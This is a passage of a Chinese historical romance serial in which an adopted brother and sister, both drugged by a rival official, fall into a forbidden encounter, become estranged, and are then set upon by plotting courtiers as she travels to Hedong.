她知道自己中了什么毒,知道温珩来此目的为何,也知道如何解这个毒,她千盼万盼等着裴瑛来救她,焉肯与温珩凑合? “我怎愿子吟这么痛苦呢……” 他的声音轻下了下来,也软了下来,像是在撒娇,又像是在祈求。 “子吟不是喜欢我吗?不要拒绝我,好吗?” 他牵起她的手来,冰冷的吻落在她的手背之上,瞬间让裴明绘发自灵魂的颤抖与厌恶。 她闻言,气血翻涌,猛地压过了汹涌的情|潮,她猛地扭过头看向温珩,虽然面色泛着暧昧的潮红,但是一双眸子却好似凝着冰凌,闪着冷冷的光。 “你屡次欺我骗我害我,哪里来的颜面对我说喜欢我?” 温珩的一只手依旧悬在她的脉上,他的面上微微笑了起来:“我知道你想要谁,只可惜了,裴瑛现在忙着呢,没空来找你。不过,若你的毒再不解,你怕是要没命了。” 裴明绘隐隐意识到了什么,不可置信看向温珩:“你……你什么意思?” “我与子吟明白着说,就是裴大人正与南云长公主翻雨覆云,忙的很。” “什么!” 裴明绘一下子坐了起来,拼着力气想要给温珩一个巴掌,却又被他一把攥住,猛地往前一带,便让她跌进了自己怀里,然后一只手掐住她的下颌,冰冷修长手指强行与她汗津津的手十指紧扣。 裴明绘想要挣扎,却奈何男女之间巨大的力量差距,她终归只能被禁锢在他的怀里。挣扎颤动之间,他发上冰冷的雪花落在她的肌肤上,化作水滴落下去,留下一道又一道暧昧的水痕。 殿门洞开,那来自无垠天宇无穷的雪花纷纷扬扬涌流进来,匆匆扑向了二人,而后一道凛冽的好似闪电雷霆的剑光逼来,空中似有幽幽蓝色磷火闪过,飘摇无定的红纱顿时断作两截。 人未至,剑先来。 华丽的金冠瞬间断作两截,温珩大惊,急忙松开怀中人,借势滚身躲开,待得红纱落地,露出那双在雷雨之中汹涌的涛浪的深色眼眸。 嗡—— 剑身直直插在宫室朱墙之上,丝丝裂痕如蜘蛛网一般蔓延开来,朱红墙面开始脱落,露出夯土的颜色,光滑的剑面一面照出了温珩骤然失色的面孔,而另一面则照出了那飘飞在冷风急雪的绯色官袍,几有一种乘风归去之缥缈。 绯红衣袖被冷风吹得飒飒作响,裴瑛走了进来,被风雪浸冰冷的目光紧紧锁定着温珩,杀机自心底弥漫而来,渐次显露在瞳眸之中。 余光一偏,便看见了歪歪斜斜地躺在床榻之上的裴明绘,半数雪白的泛着红的肌肤裸露着,她沉沉地闭着眼睛,唇边那一抹艳红的鲜血深深刺中了他的眼睛。 裴瑛的身体瞬间僵直了,像是冷峭的冬风无情地夺走了所有赖以生存的温度一般,他长久地站在那里,目光凝滞着,像是时间也停留住一般。 冷风呼呼的吹过,带起肃然的冰冷,裴瑛慢慢地往前走着,他缓慢而又僵硬地伸出手去,想要抚摸她的脸,擦去她唇角刺目的鲜血。 “呵。” 温珩不合时宜地冷笑一声,偏这一声冷笑惊醒了裴瑛。 第54章 哥哥,别不理我,好吗? 裴瑛的动作僵住了, 冷风雪气大盛,它们汹涌地扑进宫室内,所有灯烛摇晃着熄灭, 他猛然回过头来,游窜的发丝之下是漆黑的眼睛。 显露的, 明白的诡厉杀意。 “你找死。”冰冷的话语一字一句从裴瑛紧咬的牙关蹦出,几乎每说一句话,都是浓烈的杀意。 “那要看裴大人,能不能杀了我哈哈。” 温珩的发散落下来,露出那双如同妩媚的眼睛,他勾起笑来, 浑然不觉裴瑛的杀意到底有多么恐怖。 他依旧嚣张着, 张着双臂优哉游哉地走着,好似闲庭散步。 “裴大人当职多年,宫里肆意杀害同僚是什么下场,你应该很是清楚罢……” 温珩很是明白, 所以, 他断定裴瑛不敢在宫里堂而皇之地杀人, 而且是杀害天子宠臣,这般罪,若细细论起来,那可是无可消受的大罪。 裴瑛恍若未闻, 也不多言,左手一扯便将官袍利落脱了下来,妥帖地盖着裴明绘身上, 起身顺势将剑从墙上拔了下来,雪色映着光可鉴人的剑面, 一道冷光滑过,他清楚地看见了自己的脸容,那双漆黑眼眸的眼底里,所有波澜业已平息,所有愤怒也被压制,他陡然转剑,没有一丝犹豫,直接出剑,招招直逼温珩命门。 他杀他,却是真心实意的,一刻也不能再等待的。 杀他之事毕,余事大可从容再议。 温珩堪堪矮身,发丝却未跟上,依旧停留在原处,剑锋一过,瞬息断为两截。 温珩万万没有想到裴瑛深中情毒竟然还有如此武力,自己身上并未带着利器,只能靠着躲闪防身,并伺机逃出殿外。 但显然裴瑛并没有给他这个机会,一剑洞穿他的肩胛骨,将他死死定在墙上。 “嗯——” 温珩被剑锋带着猛地撞在墙上,人的骨头与长剑的锋芒发出刺耳的摩擦碰撞声,温珩忍不住闷哼出声,殷红鲜血从嘴角留下,滴滴答答地落来了下来。 裴瑛眼风一扫,似乎有什么人从背后扑来,他侧身躲过,剑锋擦着他的脸过去,留下一道鲜红的血线,裴瑛顺势拔剑,一剑横扫,而这抹鲜红的血线几乎原模原样地出现在来人的脖颈之上。 羽林卫装束的人双眼圆睁死不瞑目,鲜血呼啦一下喷涌出来,裴瑛退步侧身躲了过去,正欲再杀温珩之时,却听耳边风声扑来,一股异香扑来,待裴瑛意识到的时候,这异香进入了他的呼吸。 一时之间,被死死压制的激荡的血液开始了反扑,猛然撞在了他的心房之上,脑海瞬间一空,耳鸣嗡鸣成线,他猛地向前跌去,却又瞬间清醒,以剑支地单膝跪地,他迅速抬眼,便见温珩捂着伤口踉踉跄跄想跑。 裴瑛知道,若让他跑掉,定然如鱼归大海一般,回拢到以朝中某高官为首的势力的庇护之下,到时怕是无从下手了。 万不可让他逃脱。 裴瑛杀心甚重,理智一时再度压过汹涌的气血,他正待起身乘胜追击,将温珩利落斩于剑下。 猛然间,殿外踏踏脚步之声传来,间或传了几声催促,应是羽林卫听闻打斗之声前来探查。 裴瑛的步子顿住,他看了看尚且昏迷不醒的裴明绘,却又满是不甘的看着温珩借此遁逃,一甩袖大步抱起裴明绘,大步入了后殿,后殿昏暗,裴瑛却也不寻门,直接破开紧闭的窗牖,天光雪花呼啦呼啦全涌了进来。 “快来人,给我搜——” 羽林卫焦急的声音传来过来。 “这儿,他们从这儿走了——” 全副武装持刀带剑的羽林卫闯了进来,却之间半扇直棂窗欲掉未掉地挂着,被窗外冷冽的风雪一吹,终于还是砰的一声摔了下来。 天是无边的灰,雪是断续的白,裴瑛抱着妹妹,艰难却倔强地往前走着,浑身都落满了雪。 到处都有宫人,他自己的神志也愈发不能清醒,步子也越发踉跄,眼前是一片接着一片的白。 他四处环顾,眼见迎面而来,便是一队巡视宫中的羽林郎,他忙闪身一躲,带着她躲进了一处偏僻的宫室。 宫室久不曾住人,今已灰尘遍地,各处都结着残破的蛛网,在漏进来的寒风中瑟瑟发抖。 裴瑛抱着她,踩过破碎的生着枯草的石砖,眼前又一发黑,他遂靠着冰冷的墙缓缓滑落在地上,而她依旧安安稳稳地躺在他的怀里。 因担忧裴明绘儿高度紧绷的神经在已然就救下妹妹之后也彻底放松下来,而这一松泛,血液里虎视眈眈伺机冲破理智的情|潮再度汹涌起来。 修长苍白的手原本虚脱地搁在冰冷的石砖之上,下一瞬间却又像是被勒紧喉咙一般,指节瞬间紧绷起来,关节处都泛了白。 裴瑛本想将其压制下去,可是体内一次比一次汹涌的潮水冲击着他残存不多的理智,而他的身体发热得几乎像是在烈火里炙烤。 大抵这就是欲|火焚身的感觉罢。 裴瑛不无感慨地说道。 他于情事本就淡漠,多年来的滔天仇恨让他成为这般厉害果决的人物,却也无声中让他模糊了对柔软情感的知觉。 他仿佛便成了一个只知道得失利害的人,为了达成目的不知道杀了多少,只要他们挡了自己的路,裴瑛便会除掉他们,他们是否无辜是否有罪尚是其次。 直到遇到了裴明绘。 他仰着头,艰难地喘息眼瞳开始不由自主地涣散,目光失去了焦距,一圈接着一圈发着白光。 可怀里的人却冰冰凉凉,就像是解毒的良药一般。 让他忍不住抱紧了她。 他低头看了看怀里的妹妹,她的眉眼是那样好看,泛红的脸颊如同染上晚霞的颜色一般,他神思恍惚了一瞬,苍白的指尖忍不住朝着她的脸抚去。可是就在行将碰上的那一瞬间,他的手瞬间就抚上了长剑。 手心毫不留情的滑过锋利的剑刃,手心登时多了一条鲜红的血痕,血珠迸溅,溅在了处在半昏迷的女子的眼睫之上。 “不……” 裴瑛短暂恢复了一丝神志,可是就在他准备起身之时,又是一波更为汹涌的潮水猛地冲击过来,他咬牙忍住,已经迷离混沌的眼眸清醒被一寸一寸吞噬,他仿佛像是一条在沸腾油锅里满受煎熬的鱼,痛苦到无法宣泄,恨不得一剑洞穿自己,用另一种快意的痛苦压过这漫长的煎熬。 “不能这样,她还在这。” 他的目光再度挪上已经染血的长剑,他拿起来,锋利光滑的剑身再度照出他苍白的面色,混沌迷离失去焦距的眼眸。 他剑尖对准自己的腹部,可是就在行将刺入的那一刻,手却被一双柔弱的手紧紧握住了。 冰冷与炽热交织着,奏响冰与火的歌。 “哥哥……” 裴明绘的肩头剧烈地颤抖着,可是手却紧紧攥住他的手,不让他刺下去。 长剑坠地,响声清脆,灰尘飞扬。 她慢慢地抬起头,迷蒙的眼睛流下晶莹的泪水,这盈盈的泪光瞬间叫裴瑛呼吸停滞。 “疼吗?”她拿起他冰冷的手来,指尖缓缓滑过他的伤口,泪水顺着她的脸颊落下,坠落下来。 “我……” 裴瑛只怔怔地看着她,喉咙的干涩感叫他什么也说不出拒绝的话来。 她垂下头去,黑色的发滑落下去,绯红色的衣襟也滑下去,那雪白圆润的肩头瞬间刺痛了裴瑛的眼睛。 非礼勿视,他立刻回过头去。 可是,下一刻,他的身体剧烈地颤抖起来,像是秋风中行将凋零的树叶一般。 她吻尽他手上的鲜血,而后吐出舌,温柔而又暧昧地舔舐着他的伤口。 他的眼睛一点一点混沌起来了,薄唇抿成一条线。她再度抬起泪眼朦胧的眼睛,渴望而又无辜地看向他。 她缓缓伸出指尖,轻轻地抵在他紧紧蹙着的眉间,一点一点地将他所有忧愁与痛苦揉开。 “哥哥,我错了,别不理我,好不好……” 伴随着她的声音裴瑛所有的理智瞬间崩塌,耳边轰鸣成线,眼前所有的景色的模糊,所有的声音都朦胧,只有她,也只有她。 情|欲攫取了他所有的理智,无可名状的感知潜滋暗长,一点一点突破他的心防,血液里涌动着药力涌动起来,一寸一寸侵蚀着他的理智,疯狂蔓延的陌生情|潮逐渐占据上风。 过往所有的情绪铺天盖地而来,既往的快乐温馨,以及那身为旁观者的嫉妒与憎恨都消失无踪,心里空荡荡的,急迫得需要什么,来填满它。 眼前人是谁? 裴瑛的心神凝滞在这一刻,风云不动的深邃眼眸逐渐开始涣散。 是她。 他们已经多久没有拥抱了呢…… 就像哥哥抱着妹妹一样,不掺杂一丝一毫别的东西…… 眼前的一切都在虚化,只有她那么清晰。 裴瑛的呼吸在急促与缓慢之间切换,理智与欲|念交替占据上风。 一面,她是自己亲密无间的义妹,一面,她是他梦中朝思暮想的爱人。 那些旖旎的景象不断变化着,他被逐渐拉入泥潭。 第55章 决裂 “哥哥……” 她仰起头来, 露出脆弱的纤细的脖颈,随着她的动作,她身上披着的绯色官服渐次落了下去, 里面她自己的衣裳凌乱,黑色的发丝也一并落了下来。 白皙的肌肤隐约透着浅淡的红, 映在他已然朦胧的眼中,慢慢地虚化成了勾魂摄魄的白色的花。 细细一嗅,似乎可以嗅到惑人的香气。 “别不理我,好吗……” 她垂下头去,无声地吻着他的伤口,舔舐他的血液, 而后吞咽入腹, 全然没有注意到裴瑛愈加混沌的神色。 她紧紧圈住他的颈,轻轻地细密地吻着,“哥哥,我……真的……很难受, 救救我, 好吗?” 裴明绘像是抱着救命稻草一般抱着他, 他们的发交织纠缠着,一如他们的心,已然分离不开。 “不可以……” 裴瑛想要推开她,冰冷的手放在了她的肩头, 却又被烫得急忙缩了回去,隐隐约约,冰冷肌肤下的滚烫血液再度翻滚起来, 他想后退,可是却又被她紧紧纠缠着。 “哥哥, 我爱你,真的真的很爱你。” “不……” “我爱你……” “……” 残存的理智轰然崩塌,晶莹冰冷的雪花从破漏的窗牖飘了进来,落在她雪白细腻的肩头,裴瑛的激荡心神瞬间怔住,良久之后,他缓缓地低下了头,轻轻地吻了上去,纤长的眼睫扫过她敏感的肌肤,分外的痒。 她的手,穿过他的发,抱着他的头,感受着他带来的温度与悸动,身体颤抖着,她迷离的眼睛里积蓄起泪光,却又紧咬着牙关,一丝声音都没有发出来。 她怕惊醒他。 他学着她的模样,温柔怜惜地吻尽她唇齿间所有的血腥,耳鬓厮磨,摩擦生热,一寸一寸点燃所有欲望。 她高兴却又惶恐地承受着他的亲近,可是尚存一丝清明的心头却陡然浮上一种无以名状的恐惧,她知道,假使二人真的在了一处,违逆了伦常,裴瑛怕是永远都不会原谅她。 可……可她又怎么愿意做他一辈子的妹妹呢? 内心天人交战,恐惧随着深入而愈加明显,她有一瞬间惊醒,汗如雨下,看着裴瑛垂首想要温她,她却偏过了头,他的吻停在了她的脸颊。 他顿住了,已经混沌不清的眼眸眯了起来,显然极其不满她的逃避,伸出手来将她的头扭了过来,方才心满意足地倾身吻了下去。 怎么可以呢? 情到浓时,她仰起头,纤长白皙的脖颈开满了星星点点的微红痕迹,她的眼神彻底沉沦了,瞳孔业已不在聚焦,只能盲目地追随在在空中飞扬的白色雪花。 鬼使神差,铸成大错。 * 这是入冬后第一场雪,它几乎下了两天两夜,而在此时,辰时一刻,它依旧在铺天盖地从厚重的阴云里坠了下来,好似永远都不会结束一般,继续洋洋洒洒飘落在已经白茫茫一片的人间。 流经关中平原的涛涛渭水也结上了一层厚厚的冰,万里皆白,宏阔的长安城楼也被淹没在呼啸的风雪里。 雪花打着旋趁着冬风飘进了长安裴家的祠堂,而后落在狼狈跪在地上的男子身上。 素衣堆雪,黑发葳蕤,他垂着头,长长的头发的挡住了他的脸,他跪在冰冷的青石板之上,一身傲骨跌得粉碎,跌得他再也站不起来。 不知过了多久,阵阵急促马蹄声传来,有一黑衣甲士利落滚鞍下马,大步进了祠堂,于男子一尺之外单膝跪地,将一卷簿册双手奉上。 冷风游窜,吹起他的发,露出苍白的下颌与那干裂的薄唇,他后知后觉般地有了反应,迟钝而又滞涩地抬起了头,满布着的血丝的眼睛微微转动,便将目光放在了那安静躺在甲士手心的族谱之上。 他跪了一天又一夜,如今想要站起来,却又因为膝盖的酸麻而又跪回了地上,甲士见状,想要将男子搀扶起来,却又被男子一把推开来。 他咬着牙,强逼自己站起来,大股大股的冷风顺着窗隙卷进,吹得他发丝飞扬,衣袂翩飞。 往日微笑决浮云之人,今日却好似沉疴旧疾在身,一举一动,再不复往日的杀伐果断,凌厉逼人,反而多了一种痛彻心扉之后的迟滞。 苍白修长的手动作僵硬地裴氏族谱一页一页翻开,直到有着她名字的一页,他才堪堪停下,指尖停在她的名字处,想要抚过,却又惊到一般撤回了手,一时之间,竟有些不知所措。 良久,男子才提笔蘸墨,行将落笔之时,祠堂大门却突然洞开,漫天风雪前赴后继地涌入,冰冷的雪光映着他几近苍白的侧脸。 “哥哥……” 裴明绘乌发如漆一袭白衣,面色苍白如雪,眼眶却红得像是患了病,她看着裴瑛,缓缓跪了下来,泪水还未落下,便凝成了冰晶,坠在苍白的脸庞。 裴瑛闭上了眼睛,喉结上下滑动了一下,艰难而又缓慢地说道:“你起来。” 他的嗓音沙哑,长发遮住了他的眼睛,让裴明绘看不见他的神色。 她也不敢看清他的神色。 “哥哥……” 裴明绘的身体颤抖着,她膝行着走了过去,仰着头,露出纤细脆弱的脖颈,她看着裴瑛,伸出手来,小心翼翼地拽着裴瑛的衣服,就像小时候一样,她拉着他的衣袖,只要轻轻用力,裴瑛就会偏头看着她,笑着问她怎么了。 他的笑容很好看。 他一笑起来,周围的景色瞬间就模糊起来,只有他的笑容熠熠生辉,叫她痴迷,叫她安心。 可这次他没有回头,也没有看她,只是颤抖地站着,像是秋风里行将凋零的落叶一样瑟瑟发抖。 他在颤抖,他在畏惧,他在后悔。 不管多么深厚的情意,似乎都在此刻分崩离析,它碎成了千千万万片,就是屋外飘着的大雪一般。 “大错已经铸成,你我无需再辩驳什么。” 他的话里没有一丝情绪,瞬间就让裴明绘失去了支撑自己身体的力量,她绝望地扬起头来,看着裴瑛,一瞬间,她便感觉天地都倒转了,她的灵魂飞上了青天碧落,她的身体却被拖下了地狱黄泉。 一瞬间,她想要歇斯底里地诉说自己的爱意,想要所有的爱都明明白白地告诉他,告诉他,她有多么爱他,她日日夜夜都思念着他,爱着他,她爱他爱到骨子里,连她对温珩的好,都只是他有几分像他罢了。 可是她当看到裴瑛,她所有的话都困在喉咙里,甚至连泪水都干枯了。 她只呆呆地看着裴瑛,干枯的眼睛没有一丝光亮,飘摇雪花落在她的身上,越积越多,几乎要将她纤细的腰身都压弯折。 “哥哥,此错事,子吟不敢有所辩驳。”她死死拽着裴瑛的袖子,垂着头,颤抖着,流着泪,泪如雨下,“可……你不能不要我,我在这世上,只有你一个亲人了。若连你都不要我了,子吟又该何处去呢。” 裴瑛静静地站着,许久之后方才说话,“你自回河东裴府去,自此以后,你我不必再见。” 裴瑛提起笔来,以往胸中万千文辞笔墨挥洒自如,如今,却连划下一笔,都在颤抖,墨水自狼毫之间滴落在羊皮纸之上,缓慢地晕开来。 话语如惊雷般炸开,一笔如同断头的刀刃,裴明绘骤然抬起头来,不可置信地看着裴瑛,看着他亲手划掉自己的名字,她不住地颤抖着,缓缓松开了裴瑛的衣袖,手却因为僵硬而只能维持蜷缩的状态,像是艰难地抓住了一缕虚无缥缈的风一般。 她艰难地站了起来,却又摔倒在地。 带着雪花的冷风吹了进来,带起她的白衣,带起她的发,在空中无助地漂浮着,此时此刻,她仿佛在一叶小舟之上,孤独且迷茫地飘摇在茫茫大海里。 风雪砭骨,骨冷血凉。 她看着他,期望他能回头。 她知道,他不是一个冷血薄情的人,他对她,一贯都是心软的,只要她一哭,没有什么是不能解决的。 她还有着一丝隐秘的期望,期望这一切都有回旋的余地。 可他终究没有回头。 她浑身的血液都被冻结了,眼睛一动也不动,像是没有骨骼没有血肉没有生命的雕塑一般。 结束了吗? 这么多年的情感,就这么结束了吗? 她的心忽然回到了很久很久之前,回到了那个二人郑重结为兄妹的日子里。 祠堂之设香案,裴家孤儿焚香告祖,后又携义妹,共同叩拜祖宗。 二人在蒲团上跪下,郑重再拜。 一拜告祖宗告天地,今日裴瑛与裴明绘皆为裴家儿女。 再一拜,裴瑛与裴明绘定然不辱没裴家门楣,定然将裴家重新发扬光大。 最后这一拜,明绘不再是明绘,而是裴瑛的妹妹。 裴明绘。 过去的痛苦在最后一叩首的时候似乎化成了云烟,风一吹,就再也看不见了,她的心也在额头触到微凉的地砖的时候摆脱了过去。 她在起身的时候偷偷偏过头去看他,清俊隽雅的少年长眉如剑目光如炬,他的脊梁是那么挺直,一路走来的路那么艰辛,却丝毫没有磨灭他的心志。 “天地祖宗在上,我裴瑛今日起誓,此生此世定然护得妹妹无忧,若违此誓,当下黄泉地狱,永世不得解脱。” 裴瑛的话,如此美好,她的耳边是可是她回过神来,耳边只有寒风呼啸而过的嘘声,逼迫着她从温暖美好回忆中走出来。 都没了,都没了。 裴明绘的心是茫然的空荡,她看着裴瑛,只看着他,他是那么的痛苦,以前的他去哪了。 她的眼睛一寸一寸死寂下来。 “咳咳……” 裴瑛忽然剧烈地咳嗽起来,他再也站不住了,手捂着嘴,腰也弯了起来,身体的骨骼好似生锈一般,承受不住如此大的动作而剧烈地弯折下来。 “哥哥……” 裴明绘心中一慌,急忙膝行过去,想要搀扶他,却又被裴瑛一袖子挥倒在地。 她摔在冰冷坚硬的石砖上,浑身的骨骼都在颤栗着。 她慢慢扭过头去,漆黑的眼眸一动也不动,看着裴瑛,看着他的几乎浮出水面的痛苦,眼前缓慢被罩上一层模糊的重影,似乎有温热的液体顺着脸颊落下,砸落在青色石砖之上。 过了许久,她像是下定决心一般,撑着地再度站了起来,她提起裙摆,艰难却又珍重地跪拜在地,额头长长久久地叩在沁着冰冷雪气的青石地砖,就像当初与裴瑛拜为兄妹一般,再拜祖宗。 裴明绘再拜起身,她看向裴瑛,只看着他,眼中的一切都在虚化,只有他清晰如旧。 冷风吹动他们的衣衫与发丝,雪花飘摇在他们身边,无声中形成了一道无形的屏障,将过往亲密无间的兄妹二人永久的分割开来。 他那么痛苦,那么自责,这铺天盖地的痛苦似乎已经将他摧毁了。 是错么…… 她原不这么想。 可是,他那么痛苦,那这段关系,又怎么不算错呢? 裴明绘无声地看着他,脊背挺直,她的面容浸润在冷冽雪光之下,语气沙哑却柔和,这一刻,所有的幻想痴恋顿成虚无,只剩下多年来相依为命的兄妹情谊。 “此事错在我,哥哥恼我恨我,子吟无颜辩驳什么,只是哥哥千万不要将错怪在自己身上,这本不是哥哥的错,是子吟一意孤行心生妄念,才生如此不可悔改之大错。子吟与兄长,余生见面也好,不复相见也好。子吟都不求了,子吟只愿哥哥康健无忧,事事顺遂。” 她转身离开,素白的裙摆拖曳过冰冷的青石方砖,就在她行将迈过门槛之时,裴瑛的那颗死寂的心忽然跳动了起来,耳边风雪呼啸之声顿减,她离开的声音那样清晰,心底风声哗然大作,催促着诱惑着他回头,风雪鼓荡着他的发,鼓噪着他的心。 白色丝履陷进三寸新雪,白衣招展恍然若飞,一步一远离,她也没有回头,走进了那素雪飘零,万里皆白的世界。 第56章 前夜 眼前依旧是帘子似的大雪, 裴明绘扶轼登车,一旁的聂妩掀开帘子,她便弯下腰走了进去。 聂妩将帘子放了下去, 确保一丝寒风都透不过去,方才把头又扭了过来。 她虽然不知道裴明绘与裴瑛之间到底出了事, 但肯定是天大的事,否则依裴明绘的脾气,肯定是不会乖乖地回河东去的。 可其中到底发生了什么,她也不知道,也不能问。 她只能默默地跟着她身边。 她回头看了看,大多数行装都装上车, 便也就吩咐驭手:“走罢。” 车轮辚辚滚动起来, 将蓬松如绵的新雪压了下去,留下压实的车辙印。 她并未走进辎车内躲避扑面的风雪,而是坐在辎车外看着眼前迷蒙的风雪,默默地守候着裴明绘。 “这风雪这么大, 我们什么时候能到河东?” 聂妩把帽子往下拉了拉, 帽檐上落着的如盐粒一般的雪也就往下落。 驭手控制着缰绳, 眼睛眯起来:“估计得有两三天呢,这风雪大,路不好走,走快了, 车打滑,连马带车带人都得摔了。” 聂妩搓了搓冻得通红的手,低下头呵了口气, 稍微缓解了下,便把手缩进袖子里, 叹息道:“慢些罢,兴许家主看到这雪大路不好走,就反悔了,就不让小姐走了。” 她虽这么说,可是心里却十分没有底,毕竟二人之间的隔阂与矛盾看起来并不是一场大雪就可以化解,但没有办法,除了小姐,又有谁能够左右裴瑛的意见,让他回心转意呢? 怕是没有了。 聂妩摇了摇头,将毛绒帽子上又新落下的大片雪花抖了下去,冰冷的风雪打在她的脸上,像是钝刀滑过一般生疼。 走一步看一步罢,左右是他们兄妹二人的事,自己是肯定不敢再瞎掺和什么了。 风雪里,一双眼睛目不转睛地盯着他们,车队辚辚地驶很快就消失在了风雪里,化作渺茫的一个黑色小点,最后再也看不见。 他转过身去,嘴角微翘,抬脚往前走,穿过几条积满雪的巷子,到了一处门户紧闭院子前,抬手屈起指节来敲了不紧不慢的三下,就听咯吱门轴转动的声音,门内早有守门的阍人便将门打开,随后侧过身去让男人进去。 院子不大,却也甚是精巧,如今落了一片白茫茫的雪来,却也是独有一份沉静的韵味,好似乡野深山里远离人间一般。 他走过专门扫出的无雪的小径,拾阶而上,停在门廊之下,候在门外专门等候着客人的仆人便替他解下斗篷,抖干净了雪,将其抱在怀里,便也就退了下去。 他推开门,自里面蔓延出来的是澄红的连绵烛光以及氤氲熏香的暖气,他缓步走了进去,落在发稍上的雪花渐次融化了,化作星星点点的水珠缀在面容上,让他本就锋锐的面容平添了一丝柔和。 虽在外头看着三开的屋不大,但一进去,便是分外的宽阔,两侧各有两根大柱,上头嵌着青铜灯台,灯火亮得很,映在红漆彩绘的柱面上,照出一片华丽的光晕。 往柱子后面走,便是几尊烧得正旺的燎炉,没有一丝烟,再往后走,便是关得紧的窗牖,窗棂上是绷得紧的白色绢布,细细看去,甚至可以看清外面的簌簌飞雪。 男人收回目光,扬起恭谨的笑脸来,对着在场的人们拱手见礼。 这里人来的不多,但都是朝堂上数得上的人物,尤以秩比二千石,掌顾问应对的新晋的光禄大夫赵闻为尊。 不单是他的职位如何资历如何,只因着他的妹妹是皇帝的夫人赵姝,而从以前名不见经传的鸿胪寺属官而一跃成为长安城炙手可热的人物。 “长史。” 赵闻笑呵呵还礼,言语也很是恭谨,他虽为新贵,却也不得不对眼前这个曾经任职丞相长史何玉湖恭谨非常。 自从陆珩舟横死国狱,相位空悬,御史大夫虽代行丞相之权久矣,可他到底不是丞相,充其量也就是一个假丞相罢了。 可是丞相的任命一日未确定,朝中诸臣便也都在暗暗使着劲,推举着自己一派的人物去明着竞争,暗着厮杀。 而何玉湖身为丞相的长史,却是历经两代丞相府的老资历,当初窦玉下台陆珩舟上台,丞相府的人事也大为动荡了一番,去了不少旧人,也来了不少新人,可这一班以何玉湖为首的丞相府班底却没有随着“改朝换代”而下台,依旧在丞相府稳如泰山。 对于何玉湖来说,裴瑛不是他心目中的丞相人选,自然总是暗中使绊子。 裴瑛起初顾念着窦玉的恩情,几次忍让,想要用仁和宽容的手段解决问题,可是显然他们并不理会,反而认为这是裴瑛对他们有所顾忌。 显然,他们并不了解裴瑛的手段,很快,深深扎根在丞相府的何玉湖等人也被以大大小小的各种名目的罪名撤了罪,或左迁至各地方郡国为官,或因病告老赋闲在家。 何玉湖就是后者。 虽然在与裴瑛的斗争中,他们都被重重痛击,七零八落地星散于地方,但显然没有打击他们东山再起的希望。 或者说,他们无时无刻都在预备着反击。 何玉湖一一拱手见礼,彼此都笑呵呵的,甚是恭敬和谐,可到了阴着脸的沉默不语的温珩面前,他心中疑惑,面上却笑道:“今将举事,廷尉为何不悦?” 温珩抬起头来,好看的眉压了下来,眼尾微微挑起的眼睛也不满地眯了起来,:“我高兴与否,与你何干。你管的是否也太宽了些。” 何玉湖被温珩言语回怼,面上便有些挂不住。 他好生询问,他怎能如此说话,自己虽说职位在温珩之下,但好歹算得上是朝中的一号人物,连其父尚需对他恭敬,这个小子却敢如此说话? 这般时候,何玉湖真的期望朝廷能够加强官员的素质审核,别让什么脑子有疾的都能进来做官理事。 原本何玉湖不打算理这个小子,可是一贯与何玉湖交好的,同样赋闲在家的郑拙却无法忍耐一个毛头小子对何玉湖的冒犯,瞬间火冒三丈须发戟张,拍案而起:“你小子可别太过猖狂,若不是我们,你小子焉有活路? ” 温珩似在也无法忍耐,猛地站了起来,毫不客气讥讽道:“别总是拿你们救我来说事,若不是你们办事不利,怎么裴瑛会跑掉,害得计谋不成反被裴瑛将了一军,这还不是你们出的好谋划,说什么比能叫裴瑛陷于美人计里爬不出来,你们一个个说得天花乱坠,到头来是谁那里出了岔,该让裴瑛喝下去的东西被他倒掉了,以至于药香才被压了下去。依我看,这笔烂账依我看,早就该算一算了!” “你!”郑拙知温珩一向牙尖嘴利,但是被他年纪比温珩大上好多轮,被温珩言语这么一激,气血上涌,险些没仰面倒下去。 何玉湖忙搀住郑拙,蹙了眉:“廷尉大人何故犀利,大家都是同僚,低头不见抬头见,以后还要一起共谋大事,怎的就能如此说话?” “为何不能?”温珩冷哼一声,抱臂踱步出来,长眉挑起,“你少跟我来这一套,你们说得天花乱坠,可到底不被裴瑛整了下去。” 何玉湖也被这小子气得压疼,但是他却不能发怒,就在此时,一道声音慢悠悠地传了过来,瞬间镇住了厅中所有涌动着即将发难得声音。 “安静。” 这是一道苍老的,却依旧含着凛凛威势的声音,只有贯在朝堂上的人,才有这般的威严。 众人纷纷回首,看向来人,一惊之后全部恭敬行礼。 他不知何时来的,来的悄无声息,几乎没有任何一个人注意…… 厅中烛火正盛,将那人照了一个分明,甚至连他脸容上层层褶皱都照得分外清晰,每一根汗毛都显然,可是这般明白的烛火,却一丝一毫也映不进他的浑浊的眼睛里。 …… 这风雪不知道怎么回事,虽说云消雪霁了一日,但很快阴云又漫了上来,铅灰色的云重重悬在天边,似乎有着无限的重量,将原本寥廓无垠的天深深地往下压了去。 雪往上积,天往下压,天地似乎也逼仄了起来。 披着白斗篷的几骑飞骑踩过皑皑白雪,便趁着那一日雪晴的时日风驰电掣地去了。 ———— 裴明绘早早就睡了,客栈上的帐幔早就放了下去,烛火晃悠悠地,将聂妩托腮的影虚虚地映在了帐幔上,那影坐了良久,知道长案上的那红烛炸了不大不小的火花,这影才站了起来,拔下头上的簪子来,复又将烛芯挑亮了些,便又坐了下来。 她虽然很困了,但是由于心里实在放心不下裴明绘,又担心那些小丫头守夜不细心,所以便自己亲自守着。 她转了转有些发酸的手腕,趴在长案留着一只耳朵听着窗外的窗外的风雪声,上下眼皮打着架,一颗心却跳得飞快,咚咚咚的,想是有小人儿在里面打鼓。 她坐起来又站起来,徘徊了一会儿,轻手轻脚地走到帐子边上,挑起帐子,借着微弱的烛光,看着裴明绘依旧睡着,脸色却苍白得吓人,眉头也紧紧地蹙着。 醒着不得安生,竟然连梦里也不得解脱。 到底是什么天大的事,竟叫她这么难过。 聂妩摇了摇头,又轻轻地放下帐子,坐了回去,过了一会,却还是坐立难安,像是有谁在暗处里,用充满着杀意的眼睛死死盯着她们一样。 一想到这里,聂妩顿时生出一身的冷汗,她看向窗牖,鼓起胆子去推开窗子,看看外头的情况,一推开窗子便是盐粒一般的雪花打在脸上,将她身上的热气都裹挟走了。 外面除了风雪的白就是天地的黑,黑白分明,倒也是清晰,远处是一处灯火微弱的村庄,再往远处看,便是隐隐约约密林的边缘。 什么都没有。 聂妩又把窗牖关上了,拍落身上的雪,走了回去。 不会出什么事的,此去河东的车队里大多都是家主安排的甲士,应该不会出什么事的,这里离河东也很近了,左右不过半日的路程,只要到了河东,知会了河东郡守杨安平,就什么事情都没了。 聂妩自我安慰着,可是一颗心还是七上八下地始终安定不下来。 不会出事的。 